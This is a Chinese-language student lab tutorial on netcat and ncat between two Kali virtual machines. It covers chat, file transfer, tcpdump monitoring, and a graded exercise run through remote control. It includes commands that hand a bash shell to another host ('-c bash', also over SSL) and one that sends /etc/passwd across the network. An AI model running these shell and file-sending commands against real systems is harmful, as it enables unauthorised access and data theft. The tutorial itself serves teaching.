0.需要两台机子

如果可以和同学一起做实验最好了,就不用像我一样虚拟机切来切去的了。
相当于需要两台电脑:
一台为client客户端,一台为server服务端。
因为我虚拟机装kali的时候没有命名分开,所以操作中我会明确说明我在操作哪台机器。(我个人习惯是服务端在前,客户端在后)

1.下载ncat包

apt install ncat

图1.1

2.文本传输

server

nc -l -p (端口号)

图2.1

client

nc -nv (服务端的ip) (端口号)

图2.2
此时无论是在客户端还是服务端机子上发送消息,都是可以看到的,就类似于我们qqwx聊天一样。
图2.3
图2.4

3.文件传输

首先把两台机器都放在/tmp下,并把/tmp下的所有内容删除。
图3.1
图3.2
client
在客户端中准备/etc/passwd文件,拷贝到/tmp下。(等下准备将这个文件传给服务端~)
图3.3
server
在服务端输入命令,等待客户端发送文件,并且将发过来的文件重命名为test.txt,默认应该就是放在你刚刚在的这个目录(比如说我是/tmp)。
(我没有尝试过反过来可以不可以233)
这里有个小tips,>是使用在接收方的命令中,<是使用在发送方的命令中

nc -lp (端口号) > (文件路径/文件名)

如图,等待接收ing
图3.4
client
在客户端输入命令,传输passwd文件给服务端

nc -vn (服务端的ip) (端口号)  < (文件路径)

如图,已经发送过去了。
图3.5
再来看服务端这边,已经不再是等待状态了。
查看/tmp下文件,也多了一个test.txt
(因为我太久没有点击,重新输入密码进来的,然后/tmp也多了一个文件)
图3.6
可以cat一下两个文件的内容,是完全一样的,这里就不加图了。

4.非加密远程控制

server

nc -lp (端口号)

client

nc -vn (服务端ip) (端口号) -c bash

图4.1
server
此时在服务端可以查看并操作客户端了,并且一般操作,客户端是没有任何提示语句的,老师演示的时候给我们看了只有报错的时候才会显示,这里我就不截客户端部分了。
图4.2
我们来做一个题~
使用ncat远程控制功能,通过server去远程控制client,查找所属用户为student,所属组为student,名字为student的文件,如果有将其拷贝到/tmp/cp 文件夹下,此目录属于student的组,在这个组内的人是可读可写,可访问的,但是其他用户没有任何权限,并且之后在这个目录下创建的任何文件其所属组都是student。

(首先把两台机子/tmp文件下的文件都删掉,方便观察)
连接步骤略。
以下命令都是在服务端机子上操作。

我们一步一步来,先找所属用户为student,所属组为student,名字为student的文件

find / -user student -a -group student -a -name student

然后要将有的拷贝到/tmp/cp文件夹下
我们先创文件夹,然后上面的那个代码合并成下面这个。

mkdir /tmp/cp
find / -user student -a -group student -a -name student -exec cp -pr {} /tmp/cp \;

图4.3
因为没有提示语句,所以我直接进目录查看了,可以看到是复制过来了一个student的文件。
然后就是给/tmp/cp文件夹设置题目要求的权限。
/tmp/cp属于student的组

getfacl (文件路径)				#查看文件的权限信息
chgrp (用户名)	 (文件路径)	#修改文件所属组

图4.4

在这个组内的人是可读可写,可访问的

chmod g+rwx /tmp/cp

图4.5

但是其他用户没有任何权限

chmod o-rwx /tmp/cp

图4.6
并且之后在这个目录下创建的任何文件其所属组都是student

chmod g+s /tmp/cp

图4.7
至此,本题已完成。

5.加密远程控制

先在客户端输入命令,再去服务端输入命令,并且这里需要下ncat包。
client

apt install ncat
ncat -c bash --allow (允许访问的ip) -vnl (端口号) --ssl

图5.1
server

ncat -nv (需要控制的ip) (端口号) --ssl

图5.2
可以看到已经连上被控制的电脑ip了。

6.端口监听

服务端启动对指定端口的数据包监听
server

tcpdump -i eth0 tcp port (端口号)

图6.1

利用客户端连接该端口,连接不上不要紧,主要是连接这个过程会发送数据包,这样就可以在服务端看到这个数据包被监听了。
client

nc -vn (服务端ip) (端口号)

图6.2
server
此时看服务端,可以看到刚刚的这次连接数据包监听结果。
图6.3

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐